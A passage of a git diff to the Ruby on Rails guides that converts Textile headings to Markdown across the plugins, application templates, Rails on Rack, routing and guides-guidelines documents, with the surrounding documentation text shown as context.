* "httperf":http://www.hpl.hp.com/research/linux/httperf/
* "ab":http://httpd.apache.org/docs/2.2/programs/ab.html
* "JMeter":http://jakarta.apache.org/jmeter/
* "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html
-h4. Tutorials and Documentation
+### Tutorials and Documentation
* "ruby-prof API Documentation":http://ruby-prof.rubyforge.org
* "Request Profiling Railscast":http://railscasts.com/episodes/98-request-profiling - Outdated, but useful for understanding call graphs.
-h3. Commercial Products
+Commercial Products
+-------------------
Rails has been lucky to have a few companies dedicated to Rails-specific
performance tools. A couple of those are:
diff --git a/guides/source/plugins.md b/guides/source/plugins.md
index 19f2cd758e..165dddcff8 100644
--- a/guides/source/plugins.md
+++ b/guides/source/plugins.md
@@ -1,4 +1,5 @@
-h2. The Basics of Creating Rails Plugins
+The Basics of Creating Rails Plugins
+====================================
A Rails plugin is either an extension or a modification of the core framework. Plugins provide:
@@ -21,9 +22,10 @@ For the purpose of this guide pretend for a moment that you are an avid bird wat
Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle
goodness.
-endprologue.
+--------------------------------------------------------------------------------
-h3. Setup
+Setup
+-----
_"vendored plugins"_ were available in previous versions of Rails, but they are deprecated in
Rails 3.2, and will not be available in the future.
@@ -31,7 +33,7 @@ Rails 3.2, and will not be available in the future.
Currently, Rails plugins are built as gems, _gemified plugins_. They can be shared across
different rails applications using RubyGems and Bundler if desired.
-h4. Generate a gemified plugin.
+### Generate a gemified plugin.
Rails 3.1 ships with a +rails plugin new+ command which creates a
@@ -43,7 +45,8 @@ Rails 3.1 ships with a +rails plugin new+ command which creates a
$ rails plugin --help
```
-h3. Testing your newly generated plugin
+Testing your newly generated plugin
+-----------------------------------
You can navigate to the directory that contains the plugin, run the +bundle install+ command
and run the one generated test using the +rake+ command.
@@ -56,7 +59,8 @@ You should see:
This will tell you that everything got generated properly and you are ready to start adding functionality.
-h3. Extending Core Classes
+Extending Core Classes
+----------------------
This section will explain how to add a method to String that will be available anywhere in your rails application.
@@ -122,7 +126,8 @@ $ rails console
=> "squawk! Hello World"
```
-h3. Add an "acts_as" Method to Active Record
+Add an "acts_as" Method to Active Record
+----------------------------------------
A common pattern in plugins is to add a method called 'acts_as_something' to models. In this case, you
want to write a method called 'acts_as_yaffle' that adds a 'squawk' method to your Active Record models.
@@ -158,7 +163,7 @@ module Yaffle
end
```
-h4. Add a Class Method
+### Add a Class Method
This plugin will expect that you've added a method to your model named 'last_squawk'. However, the
plugin users might have already defined a method on their model named 'last_squawk' that they use
@@ -308,7 +313,7 @@ When you run +rake+ you should see the tests all pass:
5 tests, 5 assertions, 0 failures, 0 errors, 0 skips
```
-h4. Add an Instance Method
+### Add an Instance Method
This plugin will add a method named 'squawk' to any Active Record object that calls 'acts_as_yaffle'. The 'squawk'
method will simply set the value of one of the fields in the database.
@@ -384,12 +389,14 @@ Run +rake+ one final time and you should see:
NOTE: The use of +write_attribute+ to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use <tt>send("#{self.class.yaffle_text_field}=", string.to_squawk)</tt>.
-h3. Generators
+Generators
+----------
Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about
the creation of generators can be found in the "Generators Guide":generators.html
-h3. Publishing your Gem
+Publishing your Gem
+-------------------
Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply
commit the code to a Git repository (like GitHub) and add a line to the Gemfile of the application in question:
@@ -403,7 +410,8 @@ After running +bundle install+, your gem functionality will be available to the
When the gem is ready to be shared as a formal release, it can be published to "RubyGems":http://www.rubygems.org.
For more information about publishing gems to RubyGems, see: "Creating and Publishing Your First Ruby Gem":http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html
-h3. RDoc Documentation
+RDoc Documentation
+------------------
Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.
@@ -422,7 +430,7 @@ Once your comments are good to go, navigate to your plugin directory and run:
$ rake rdoc
```
-h4. References
+### References
* "Developing a RubyGem using Bundler":https://github.com/radar/guides/blob/master/gem-development.md
* "Using .gemspecs as Intended":http://yehudakatz.com/2010/04/02/using-gemspecs-as-intended/
diff --git a/guides/source/rails_application_templates.md b/guides/source/rails_application_templates.md
index 1c5148f46f..c03eb1d0be 100644
--- a/guides/source/rails_application_templates.md
+++ b/guides/source/rails_application_templates.md
@@ -1,4 +1,5 @@
-h2. Rails Application Templates
+Rails Application Templates
+===========================
Application templates are simple Ruby files containing DSL for adding gems/initializers etc. to your freshly created Rails project or an existing Rails project.
@@ -7,9 +8,10 @@ By referring to this guide, you will be able to:
* Use templates to generate/customize Rails applications
* Write your own reusable application templates using the Rails template API
-endprologue.
+--------------------------------------------------------------------------------
-h3. Usage
+Usage
+-----
To apply a template, you need to provide the Rails generator with the location of the template you wish to apply, using -m option. This can either be path to a file or a URL.
@@ -25,7 +27,8 @@ $ rake rails:template LOCATION=~/template.rb
$ rake rails:template LOCATION=http://example.com/template.rb
```
-h3. Template API
+Template API
+------------
Rails templates API is very self explanatory and easy to understand. Here's an example of a typical Rails template:
@@ -43,7 +46,7 @@ git :commit => %Q{ -m 'Initial commit' }
The following sections outlines the primary methods provided by the API:
-h4. gem(name, options = {})
+### gem(name, options = {})
Adds a +gem+ entry for the supplied gem to the generated application’s +Gemfile+.
@@ -60,7 +63,7 @@ Please note that this will NOT install the gems for you and you will have to run
bundle install
```
-h4. gem_group(*names, &block)
+### gem_group(*names, &block)
Wraps gem entries inside a group.
@@ -72,7 +75,7 @@ gem_group :development, :test do
end
```
-h4. add_source(source, options = {})
+### add_source(source, options = {})
Adds the given source to the generated application's +Gemfile+.
@@ -82,7 +85,7 @@ For example, if you need to source a gem from "http://code.whytheluckystiff.net"
add_source "http://code.whytheluckystiff.net"
```
-h4. vendor/lib/file/initializer(filename, data = nil, &block)
+### vendor/lib/file/initializer(filename, data = nil, &block)
Adds an initializer to the generated application’s +config/initializers+ directory.
@@ -115,7 +118,7 @@ CODE
That’ll create +app/components+ directory and put +foo.rb+ in there.
-h4. rakefile(filename, data = nil, &block)
+### rakefile(filename, data = nil, &block)
Creates a new rake file under +lib/tasks+ with the supplied tasks:
@@ -133,7 +136,7 @@ end
The above creates +lib/tasks/bootstrap.rake+ with a +boot:strap+ rake task.
-h4. generate(what, args)
+### generate(what, args)
Runs the supplied rails generator with given arguments.
@@ -141,7 +144,7 @@ Runs the supplied rails generator with given arguments.
generate(:scaffold, "person", "name:string", "address:text", "age:number")
```
-h4. run(command)
+### run(command)
Executes an arbitrary command. Just like the backticks. Let's say you want to remove the +public/index.html+ file:
@@ -149,7 +152,7 @@ Executes an arbitrary command. Just like the backticks. Let's say you want to re
run "rm public/index.html"
```
-h4. rake(command, options = {})
+### rake(command, options = {})
Runs the supplied rake tasks in the Rails application. Let's say you want to migrate the database:
@@ -163,7 +166,7 @@ You can also run rake tasks with a different Rails environment:
rake "db:migrate", :env => 'production'
```
-h4. route(routing_code)
+### route(routing_code)
This adds a routing entry to the +config/routes.rb+ file. In above steps, we generated a person scaffold and also removed +public/index.html+. Now to make +PeopleController#index+ as the default page for the application:
@@ -171,7 +174,7 @@ This adds a routing entry to the +config/routes.rb+ file. In above steps, we gen
route "root :to => 'person#index'"
```
-h4. inside(dir)
+### inside(dir)
Enables you to run a command from the given directory. For example, if you have a copy of edge rails that you wish to symlink from your new apps, you can do this:
@@ -181,7 +184,7 @@ inside('vendor') do
end
```
-h4. ask(question)
+### ask(question)
+ask()+ gives you a chance to get some feedback from the user and use it in your templates. Lets say you want your user to name the new shiny library you’re adding:
@@ -195,7 +198,7 @@ end
CODE
```
-h4. yes?(question) or no?(question)
+### yes?(question) or no?(question)
These methods let you ask questions from templates and decide the flow based on the user’s answer. Lets say you want to freeze rails only if the user want to:
@@ -204,7 +207,7 @@ rake("rails:freeze:gems") if yes?("Freeze rails gems ?")
no?(question) acts just the opposite.
```
-h4. git(:command)
+### git(:command)
Rails templates let you run any git command:
diff --git a/guides/source/rails_on_rack.md b/guides/source/rails_on_rack.md
index 8ca896f358..d3a49cecd1 100644
--- a/guides/source/rails_on_rack.md
+++ b/guides/source/rails_on_rack.md
@@ -1,4 +1,5 @@
-h2. Rails on Rack
+Rails on Rack
+=============
This guide covers Rails integration with Rack and interfacing with other Rack components. By referring to this guide, you will be able to:
@@ -7,11 +8,12 @@ This guide covers Rails integration with Rack and interfacing with other Rack co
* Understand Action Pack's internal Middleware stack
* Define a custom Middleware stack
-endprologue.
+--------------------------------------------------------------------------------
WARNING: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and +Rack::Builder+.
-h3. Introduction to Rack
+Introduction to Rack
+--------------------
bq. Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.
@@ -19,13 +21,14 @@ bq. Rack provides a minimal, modular and adaptable interface for developing web
Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the "Resources":#resources section below.
-h3. Rails on Rack
+Rails on Rack
+-------------
-h4. Rails Application's Rack Object
+### Rails Application's Rack Object
<tt>ApplicationName::Application</tt> is the primary Rack application object of a Rails application. Any Rack compliant web server should be using +ApplicationName::Application+ object to serve a Rails application.
-h4. +rails server+
+### +rails server+
<tt>rails server</tt> does the basic job of creating a +Rack::Server+ object and starting the webserver.
@@ -67,7 +70,7 @@ end
|+Rails::Rack::Debugger+|Starts Debugger|
|+Rack::ContentLength+|Counts the number of bytes in the response and set the HTTP Content-Length header|
-h4. +rackup+
+### +rackup+
To use +rackup+ instead of Rails' +rails server+, you can put the following inside +config.ru+ of your Rails application's root directory:
@@ -92,13 +95,14 @@ To find out more about different +rackup+ options:
$ rackup --help
```
-h3. Action Dispatcher Middleware Stack
+Action Dispatcher Middleware Stack
+----------------------------------
Many of Action Dispatchers's internal components are implemented as Rack middlewares. +Rails::Application+ uses +ActionDispatch::MiddlewareStack+ to combine various internal and external middlewares to form a complete Rails Rack application.
NOTE: +ActionDispatch::MiddlewareStack+ is Rails' equivalent of +Rack::Builder+, but built for better flexibility and more features to meet Rails' requirements.
-h4. Inspecting Middleware Stack
+### Inspecting Middleware Stack
Rails has a handy rake task for inspecting the middleware stack in use:
@@ -136,11 +140,11 @@ run ApplicationName::Application.routes
Purpose of each of this middlewares is explained in the "Internal Middlewares":#internal-middleware-stack section.
-h4. Configuring Middleware Stack
+### Configuring Middleware Stack
Rails provides a simple configuration interface +config.middleware+ for adding, removing and modifying the middlewares in the middleware stack via +application.rb+ or the environment specific configuration file <tt>environments/&lt;environment&gt;.rb</tt>.
-h5. Adding a Middleware
+#### Adding a Middleware
You can add a new middleware to the middleware stack using any of the following methods:
@@ -161,7 +165,7 @@ config.middleware.use Rack::BounceFavicon
config.middleware.insert_after ActiveRecord::QueryCache, Lifo::Cache, :page_cache => false
```
-h5. Swapping a Middleware
+#### Swapping a Middleware
You can swap an existing middleware in the middleware stack using +config.middleware.swap+.
@@ -172,7 +176,7 @@ You can swap an existing middleware in the middleware stack using +config.middle
config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions
```
-h5. Middleware Stack is an Enumerable
+#### Middleware Stack is an Enumerable
The middleware stack behaves just like a normal +Enumerable+. You can use any +Enumerable+ methods to manipulate or interrogate the stack. The middleware stack also implements some +Array+ methods including <tt>[]</tt>, +unshift+ and +delete+. Methods described in the section above are just convenience methods.
@@ -212,7 +216,7 @@ config.middleware.delete "ActionDispatch::BestStandardsSupport"
config.middleware.delete "Rack::MethodOverride"
```
-h4. Internal Middleware Stack
+### Internal Middleware Stack
Much of Action Controller's functionality is implemented as Middlewares. The following list explains the purpose of each of them:
@@ -284,7 +288,7 @@ Much of Action Controller's functionality is implemented as Middlewares. The fol
TIP: It's possible to use any of the above middlewares in your custom Rack stack.
-h4. Using Rack Builder
+### Using Rack Builder
The following shows how to replace use +Rack::Builder+ instead of the Rails supplied +MiddlewareStack+.
@@ -304,15 +308,16 @@ use MyOwnStackFromScratch
run ApplicationName::Application
```
-h3. Resources
+Resources
+---------
-h4. Learning Rack
+### Learning Rack
* "Official Rack Website":http://rack.github.com
* "Introducing Rack":http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html
* "Ruby on Rack #1 - Hello Rack!":http://m.onkey.org/ruby-on-rack-1-hello-rack
* "Ruby on Rack #2 - The Builder":http://m.onkey.org/ruby-on-rack-2-the-builder
-h4. Understanding Middlewares
+### Understanding Middlewares
* "Railscast on Rack Middlewares":http://railscasts.com/episodes/151-rack-middleware
diff --git a/guides/source/routing.md b/guides/source/routing.md
index 8830401d7f..509101b3d6 100644
--- a/guides/source/routing.md
+++ b/guides/source/routing.md
@@ -1,4 +1,5 @@
-h2. Rails Routing from the Outside In
+Rails Routing from the Outside In
+=================================
This guide covers the user-facing features of Rails routing. By referring to this guide, you will be able to:
@@ -8,13 +9,14 @@ This guide covers the user-facing features of Rails routing. By referring to thi
* Automatically create paths and URLs using route helpers
* Use advanced techniques such as constraints and Rack endpoints
-endprologue.
+--------------------------------------------------------------------------------
-h3. The Purpose of the Rails Router
+The Purpose of the Rails Router
+-------------------------------
The Rails router recognizes URLs and dispatches them to a controller's action. It can also generate paths and URLs, avoiding the need to hardcode strings in your views.
-h4. Connecting URLs to Code
+### Connecting URLs to Code
When your Rails application receives an incoming request
@@ -30,7 +32,7 @@ get "/patients/:id" => "patients#show"
the request is dispatched to the +patients+ controller's +show+ action with <tt>{ :id => "17" }</tt> in +params+.
-h4. Generating Paths and URLs from Code
+### Generating Paths and URLs from Code
You can also generate paths and URLs. If the route above is modified to be
@@ -50,11 +52,12 @@ If your application contains this code:
The router will generate the path +/patients/17+. This reduces the brittleness of your view and makes your code easier to understand. Note that the id does not need to be specified in the route helper.
-h3. Resource Routing: the Rails Default
+Resource Routing: the Rails Default
+-----------------------------------
Resource routing allows you to quickly declare all of the common routes for a given resourceful controller. Instead of declaring separate routes for your +index+, +show+, +new+, +edit+, +create+, +update+ and +destroy+ actions, a resourceful route declares them in a single line of code.
-h4. Resources on the Web
+### Resources on the Web
Browsers request pages from Rails by making a request for a URL using a specific HTTP method, such as +GET+, +POST+, +PATCH+, +PUT+ and +DELETE+. Each method is a request to perform an operation on the resource. A resource route maps a number of related requests to actions in a single controller.
@@ -72,7 +75,7 @@ resources :photos
Rails would dispatch that request to the +destroy+ method on the +photos+ controller with <tt>{ :id => "17" }</tt> in +params+.
-h4. CRUD, Verbs, and Actions
+### CRUD, Verbs, and Actions
In Rails, a resourceful route provides a mapping between HTTP verbs and URLs to controller actions. By convention, each action also maps to particular CRUD operations in a database. A single entry in the routing file, such as
@@ -93,7 +96,7 @@ creates seven different routes in your application, all mapping to the +Photos+
NOTE: Rails routes are matched in the order they are specified, so if you have a +resources :photos+ above a +get 'photos/poll'+ the +show+ action's route for the +resources+ line will be matched before the +get+ line. To fix this, move the +get+ line *above* the +resources+ line so that it is matched first.
-h4. Paths and URLs
+### Paths and URLs
Creating a resourceful route will also expose a number of helpers to the controllers in your application. In the case of +resources :photos+:
@@ -106,7 +109,7 @@ Each of these helpers has a corresponding +_url+ helper (such as +photos_url+) w
NOTE: Because the router uses the HTTP verb and URL to match inbound requests, four URLs map to seven different actions.
-h4. Defining Multiple Resources at the Same Time
+### Defining Multiple Resources at the Same Time
If you need to create routes for more than one resource, you can save a bit of typing by defining them all with a single call to +resources+:
@@ -122,7 +125,7 @@ resources :books
resources :videos
```
-h4. Singular Resources
+### Singular Resources
Sometimes, you have a resource that clients always look up without referencing an ID. For example, you would like +/profile+ to always show the profile of the currently logged in user. In this case, you can use a singular resource to map +/profile+ (rather than +/profile/:id+) to the +show+ action.
@@ -156,7 +159,7 @@ A singular resourceful route generates these helpers:
As with plural resources, the same helpers ending in +_url+ will also include the host, port and path prefix.
-h4. Controller Namespaces and Routing
+### Controller Namespaces and Routing
You may wish to organize groups of controllers under a namespace. Most commonly, you might group a number of administrative controllers under an +Admin::+ namespace. You would place these controllers under the +app/controllers/admin+ directory, and you can group them together in your router:
@@ -216,7 +219,7 @@ In each of these cases, the named routes remain the same as if you did not use +
|PATCH/PUT |/admin/posts/:id |update | post_path(:id) |
|DELETE |/admin/posts/:id |destroy | post_path(:id) |
-h4. Nested Resources
+### Nested Resources
It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:
@@ -251,7 +254,7 @@ In addition to the routes for magazines, this declaration will also route ads to
This will also create routing helpers such as +magazine_ads_url+ and +edit_magazine_ad_path+. These helpers take an instance of Magazine as the first parameter (+magazine_ads_url(@magazine)+).
-h5. Limits to Nesting
+#### Limits to Nesting
You can nest resources within other nested resources if you like. For example:
@@ -273,7 +276,7 @@ The corresponding route helper would be +publisher_magazine_photo_url+, requirin
TIP: _Resources should never be nested more than 1 level deep._
-h4. Routing concerns
+### Routing concerns
Routing Concerns allows you to declare common routes that can be reused inside others resources and routes.
@@ -303,7 +306,7 @@ namespace :posts do
end
```
-h4. Creating Paths and URLs From Objects
+### Creating Paths and URLs From Objects
In addition to using the routing helpers, Rails can also create paths and URLs from an array of parameters. For example, suppose you have this set of routes:
@@ -345,11 +348,11 @@ For other actions, you just need to insert the action name as the first element
This allows you to treat instances of your models as URLs, and is a key advantage to using the resourceful style.
-h4. Adding More RESTful Actions
+### Adding More RESTful Actions
You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional routes that apply to the collection or individual members of the collection.
-h5. Adding Member Routes
+#### Adding Member Routes
To add a member route, just add a +member+ block into the resource block:
@@ -371,7 +374,7 @@ resources :photos do
end
```
-h5. Adding Collection Routes
+#### Adding Collection Routes
To add a route to the collection:
@@ -393,11 +396,12 @@ resources :photos do
end
```
-h5. A Note of Caution
+#### A Note of Caution
If you find yourself adding many extra actions to a resourceful route, it's time to stop and ask yourself whether you're disguising the presence of another resource.
-h3. Non-Resourceful Routes
+Non-Resourceful Routes
+----------------------
In addition to resource routing, Rails has powerful support for routing arbitrary URLs to actions. Here, you don't get groups of routes automatically generated by resourceful routing. Instead, you set up each route within your application separately.
@@ -405,7 +409,7 @@ While you should usually use resourceful routing, there are still many places wh
In particular, simple routing makes it very easy to map legacy URLs to new Rails actions.
-h4. Bound Parameters
+### Bound Parameters
When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: +:controller+ maps to the name of a controller in your application, and +:action+ maps to the name of an action within that controller. For example, consider one of the default Rails routes:
@@ -415,7 +419,7 @@ get ':controller(/:action(/:id))'
If an incoming request of +/photos/show/1+ is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the +show+ action of the +PhotosController+, and to make the final parameter +"1"+ available as +params[:id]+. This route will also route the incoming request of +/photos+ to +PhotosController#index+, since +:action+ and +:id+ are optional parameters, denoted by parentheses.
-h4. Dynamic Segments
+### Dynamic Segments
You can set up as many dynamic segments within a regular route as you like. Anything other than +:controller+ or +:action+ will be available to the action as part of +params+. If you set up this route:
@@ -433,7 +437,7 @@ get ':controller(/:action(/:id))', :controller => /admin\/[^\/]+/
TIP: By default dynamic segments don't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within a dynamic segment, add a constraint that overrides this – for example, +:id+ => /[^\/]+/ allows anything except a slash.
-h4. Static Segments
+### Static Segments
You can specify static segments when creating a route:
@@ -443,7 +447,7 @@ get ':controller/:action/:id/with_user/:user_id'
This route would respond to paths such as +/photos/show/1/with_user/2+. In this case, +params+ would be <tt>{ :controller => "photos", :action => "show", :id => "1", :user_id => "2" }</tt>.
-h4. The Query String
+### The Query String
The +params+ will also include any parameters from the query string. For example, with this route:
@@ -453,7 +457,7 @@ get ':controller/:action/:id'
An incoming path of +/photos/show/1?user_id=2+ will be dispatched to the +show+ action of the +Photos+ controller. +params+ will be <tt>{ :controller => "photos", :action => "show", :id => "1", :user_id => "2" }</tt>.
-h4. Defining Defaults
+### Defining Defaults
You do not need to explicitly use the +:controller+ and +:action+ symbols within a route. You can supply them as defaults:
@@ -471,7 +475,7 @@ get 'photos/:id' => 'photos#show', :defaults => { :format => 'jpg' }
Rails would match +photos/12+ to the +show+ action of +PhotosController+, and set +params[:format]+ to +"jpg"+.
-h4. Naming Routes
+### Naming Routes
You can specify a name for any route using the +:as+ option.
@@ -489,7 +493,7 @@ get ':username', :to => "users#show", :as => :user
This will define a +user_path+ method that will be available in controllers, helpers and views that will go to a route such as +/bob+. Inside the +show+ action of +UsersController+, +params[:username]+ will contain the username for the user. Change +:username+ in the route definition if you do not want your parameter name to be +:username+.
-h4. HTTP Verb Constraints
+### HTTP Verb Constraints
In general, you should use the +get+, +post+, +put+ and +delete+ methods to constrain a route to a particular verb. You can use the +match+ method with the +:via+ option to match multiple verbs at once:
@@ -505,7 +509,7 @@ match 'photos' => 'photos#show', :via => :all
You should avoid routing all verbs to an action unless you have a good reason to, as routing both +GET+ requests and +POST+ requests to a single action has security implications.
-h4. Segment Constraints
+### Segment Constraints
You can use the +:constraints+ option to enforce a format for a dynamic segment:
@@ -534,7 +538,7 @@ get '/:id' => 'posts#show', :constraints => { :id => /\d.+/ }
get '/:username' => 'users#show'
```
-h4. Request-Based Constraints
+### Request-Based Constraints
You can also constrain a route based on any method on the <a href="action_controller_overview.html#the-request-object">Request</a> object that returns a +String+.
@@ -554,7 +558,7 @@ namespace :admin do
end
```
-h4. Advanced Constraints
+### Advanced Constraints
If you have a more advanced constraint, you can provide an object that responds to +matches?+ that Rails should use. Let's say you wanted to route all users on a blacklist to the +BlacklistController+. You could do:
@@ -586,7 +590,7 @@ end
Both the +matches?+ method and the lambda gets the +request+ object as an argument.
-h4. Route Globbing
+### Route Globbing
Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example
@@ -630,7 +634,7 @@ NOTE: If you want to make the format segment mandatory, so it cannot be omitted,
get '*pages' => 'pages#show', :format => true
```
-h4. Redirection
+### Redirection
You can redirect any path to another path using the +redirect+ helper in your router:
@@ -655,7 +659,7 @@ Please note that this redirection is a 301 "Moved Permanently" redirect. Keep in
In all of these cases, if you don't provide the leading host (+http://www.example.com+), Rails will take those details from the current request.
-h4. Routing to Rack Applications
+### Routing to Rack Applications
Instead of a String, like +"posts#index"+, which corresponds to the +index+ action in the +PostsController+, you can specify any <a href="rails_on_rack.html">Rack application</a> as the endpoint for a matcher.
@@ -667,7 +671,7 @@ As long as +Sprockets+ responds to +call+ and returns a <tt>[status, headers, bo
NOTE: For the curious, +"posts#index"+ actually expands out to +PostsController.action(:index)+, which returns a valid Rack application.
-h4. Using +root+
+### Using +root+
You can specify what Rails should route +"/"+ to with the +root+ method:
@@ -680,7 +684,7 @@ You should put the +root+ route at the top of the file, because it is the most p
NOTE: The +root+ route only routes +GET+ requests to the action.
-h4. Unicode character routes
+### Unicode character routes
You can specify unicode character routes directly. For example
@@ -688,11 +692,12 @@ You can specify unicode character routes directly. For example
match 'こんにちは' => 'welcome#index'
```
-h3. Customizing Resourceful Routes
+Customizing Resourceful Routes
+------------------------------
While the default routes and helpers generated by +resources :posts+ will usually serve you well, you may want to customize them in some way. Rails allows you to customize virtually any generic part of the resourceful helpers.
-h4. Specifying a Controller to Use
+### Specifying a Controller to Use
The +:controller+ option lets you explicitly specify a controller to use for the resource. For example:
@@ -713,7 +718,7 @@ will recognize incoming paths beginning with +/photos+ but route to the +Images+
NOTE: Use +photos_path+, +new_photo_path+, etc. to generate paths for this resource.
-h4. Specifying Constraints
+### Specifying Constraints
You can use the +:constraints+ option to specify a required format on the implicit +id+. For example:
@@ -736,7 +741,7 @@ NOTE: Of course, you can use the more advanced constraints available in non-reso
TIP: By default the +:id+ parameter doesn't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within an +:id+ add a constraint which overrides this - for example +:id+ => /[^\/]+/ allows anything except a slash.
-h4. Overriding the Named Helpers
+### Overriding the Named Helpers
The +:as+ option lets you override the normal naming for the named route helpers. For example:
@@ -755,7 +760,7 @@ will recognize incoming paths beginning with +/photos+ and route the requests to
|PATCH/PUT |/photos/:id |update | image_path(:id) |
|DELETE |/photos/:id |destroy | image_path(:id) |
-h4. Overriding the +new+ and +edit+ Segments
+### Overriding the +new+ and +edit+ Segments
The +:path_names+ option lets you override the automatically-generated "new" and "edit" segments in paths:
@@ -780,7 +785,7 @@ scope :path_names => { :new => "make" } do
end
```
-h4. Prefixing the Named Route Helpers
+### Prefixing the Named Route Helpers
You can use the +:as+ option to prefix the named route helpers that Rails generates for a route. Use this option to prevent name collisions between routes using a path scope.
@@ -818,7 +823,7 @@ end
This will provide you with URLs such as +/bob/posts/1+ and will allow you to reference the +username+ part of the path as +params[:username]+ in controllers, helpers and views.
-h4. Restricting the Routes Created
+### Restricting the Routes Created
By default, Rails creates routes for the seven default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the +:only+ and +:except+ options to fine-tune this behavior. The +:only+ option tells Rails to create only the specified routes:
@@ -838,7 +843,7 @@ In this case, Rails will create all of the normal routes except the route for +d
TIP: If your application has many RESTful routes, using +:only+ and +:except+ to generate only the routes that you actually need can cut down on memory use and speed up the routing process.
-h4. Translated Paths
+### Translated Paths
Using +scope+, we can alter path names generated by resources:
@@ -859,7 +864,7 @@ Rails now creates routes to the +CategoriesController+.
|PATCH/PUT |/kategorien/:id |update | category_path(:id) |
|DELETE |/kategorien/:id |destroy | category_path(:id) |
-h4. Overriding the Singular Form
+### Overriding the Singular Form
If you want to define the singular form of a resource, you should add additional rules to the +Inflector+.
@@ -869,7 +874,7 @@ ActiveSupport::Inflector.inflections do |inflect|
end
```
-h4(#nested-names). Using +:as+ in Nested Resources
+### Using +:as+ in Nested Resources
The +:as+ option overrides the automatically-generated name for the resource in nested route helpers. For example,
@@ -881,11 +886,12 @@ end
This will create routing helpers such as +magazine_periodical_ads_url+ and +edit_magazine_periodical_ad_path+.
-h3. Inspecting and Testing Routes
+Inspecting and Testing Routes
+-----------------------------
Rails offers facilities for inspecting and testing your routes.
-h4. Seeing Existing Routes
+### Seeing Existing Routes
To get a complete list of the available routes in your application, visit +http://localhost:3000/rails/info/routes+ in your browser while your server is running in the *development* environment. You can also execute the +rake routes+ command in your terminal to produce the same output.
@@ -913,7 +919,7 @@ $ CONTROLLER=users rake routes
TIP: You'll find that the output from +rake routes+ is much more readable if you widen your terminal window until the output lines don't wrap.
-h4. Testing Routes
+### Testing Routes
Routes should be included in your testing strategy (just like the rest of your application). Rails offers three "built-in assertions":http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html designed to make testing routes simpler:
@@ -921,7 +927,7 @@ Routes should be included in your testing strategy (just like the rest of your a
* +assert_recognizes+
* +assert_routing+
-h5. The +assert_generates+ Assertion
+#### The +assert_generates+ Assertion
+assert_generates+ asserts that a particular set of options generate a particular path and can be used with default routes or custom routes.
@@ -930,7 +936,7 @@ assert_generates "/photos/1", { :controller => "photos", :action => "show", :id
assert_generates "/about", :controller => "pages", :action => "about"
```
-h5. The +assert_recognizes+ Assertion
+#### The +assert_recognizes+ Assertion
+assert_recognizes+ is the inverse of +assert_generates+. It asserts that a given path is recognized and routes it to a particular spot in your application.
@@ -944,7 +950,7 @@ You can supply a +:method+ argument to specify the HTTP verb:
assert_recognizes({ :controller => "photos", :action => "create" }, { :path => "photos", :method => :post })
```
-h5. The +assert_routing+ Assertion
+#### The +assert_routing+ Assertion
The +assert_routing+ assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of +assert_generates+ and +assert_recognizes+.
diff --git a/guides/source/ruby_on_rails_guides_guidelines.md b/guides/source/ruby_on_rails_guides_guidelines.md
index 3b2a95abf0..44327e4148 100644
--- a/guides/source/ruby_on_rails_guides_guidelines.md
+++ b/guides/source/ruby_on_rails_guides_guidelines.md
@@ -1,35 +1,40 @@
-h2. Ruby on Rails Guides Guidelines
+Ruby on Rails Guides Guidelines
+===============================
This guide documents guidelines for writing Ruby on Rails Guides. This guide follows itself in a graceful loop, serving itself as an example.
-endprologue.
+--------------------------------------------------------------------------------
-h3. Textile
+Textile
+-------
Guides are written in "Textile":http://www.textism.com/tools/textile/. There is comprehensive "documentation":http://redcloth.org/hobix.com/textile/ and a "cheatsheet":http://redcloth.org/hobix.com/textile/quick.html for markup.
-h3. Prologue
+Prologue
+--------
Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. See for example the "Routing Guide":routing.html.
-h3. Titles
+Titles
+------
The title of every guide uses +h2+; guide sections use +h3+; subsections +h4+; etc.
Capitalize all words except for internal articles, prepositions, conjunctions, and forms of the verb to be:
```
-h5. Middleware Stack is an Array
-h5. When are Objects Saved?
+#### Middleware Stack is an Array
+#### When are Objects Saved?
```
Use the same typography as in regular text:
```
-h6. The <tt>:content_type</tt> Option
+##### The <tt>:content_type</tt> Option
```
-h3. API Documentation Guidelines
+API Documentation Guidelines
+----------------------------
The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the "API Documentation Guidelines":api_documentation_guidelines.html:
@@ -40,9 +45,10 @@ The guides and the API should be coherent and consistent where appropriate. Plea
Those guidelines apply also to guides.
-h3. HTML Guides
+HTML Guides
+-----------
-h4. Generation
+### Generation
To generate all the guides, just +cd+ into the *+guides+* directory and execute:
@@ -83,7 +89,7 @@ If you want to see all the environment variables you can use to configure the ge
rake
```
-h4. Validation
+### Validation
Please validate the generated HTML with:
@@ -93,9 +99,10 @@ bundle exec rake guides:validate
Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set +WARNINGS=1+ when generating guides to detect them. The warning messages suggest a solution.
-h3. Kindle Guides
+Kindle Guides
+-------------
-h4(#generation-kindle). Generation
+### Generation
